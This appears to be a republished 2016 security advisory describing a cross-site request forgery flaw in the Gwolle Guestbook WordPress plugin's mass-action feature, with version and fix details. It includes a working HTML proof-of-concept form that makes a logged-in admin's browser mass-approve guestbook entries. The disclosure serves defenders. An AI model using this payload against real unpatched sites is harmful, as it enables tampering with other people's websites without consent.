------------------------------------------------------------------------
Gwolle Guestbook mass action vulnerable for Cross-Site Request Forgery
------------------------------------------------------------------------
Radjnies Bhansingh, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Request Forgery (CSRF) vulnerability was found in the
Gwolle Guestbook WordPress plugin. This issue can be used by an attacker
to mass approve of disapprove entries. In order to exploit this issue,
the attacker needs to lure a victim with editor or admin privileges to
an attacker-controlled page or trick him into clicking a malicous link.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0001
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Gwolle Guestbook WordPress
Plugin version 1.7.4.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue was fixed in Gwolle Guestbook version version 2.1.1. The most
recent version of Gwolle Guestbook can be obtained from the following
location:
https://wordpress.org/plugins/gwolle-gb/
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/gwolle_guestbook_mass_action_vulnerable_for_cross_site_request_forgery.html
The Gwolle guestbook allows actions to be performed on multiple entries at once (mass-action). Although actions performed on a single entry do provide protection against Cross-Site Request Forgery (CSRF) by using wp-nonces, mass-action lacks this protection. Since the entry IDs are enumerable it allows an attacker to mass approve of disapprove entries.
Proof of Concept
The following proof of concept code demonstrates this issue:
<html>
<body>
<form action="http://<target>/wordpress/wp-admin/admin.php?page=gwolle-gb%2Fentries.php" method="POST">
<input type="hidden" name="gwolle_gb_page" value="entries" />
<input type="hidden" name="pageNum" value="1" />
<input type="hidden" name="entriesOnThisPage" value="2" />
<input type="hidden" name="show" value="all" />
<input type="hidden" name="massEditAction1" value="check" />
<input type="hidden" name="doaction" value="Apply" />
<input type="hidden" name="check-2" value="on" />
<input type="hidden" name="check-1" value="on" />
<input type="hidden" name="massEditAction2" value="-1" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# 0day.today [2018-04-10] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation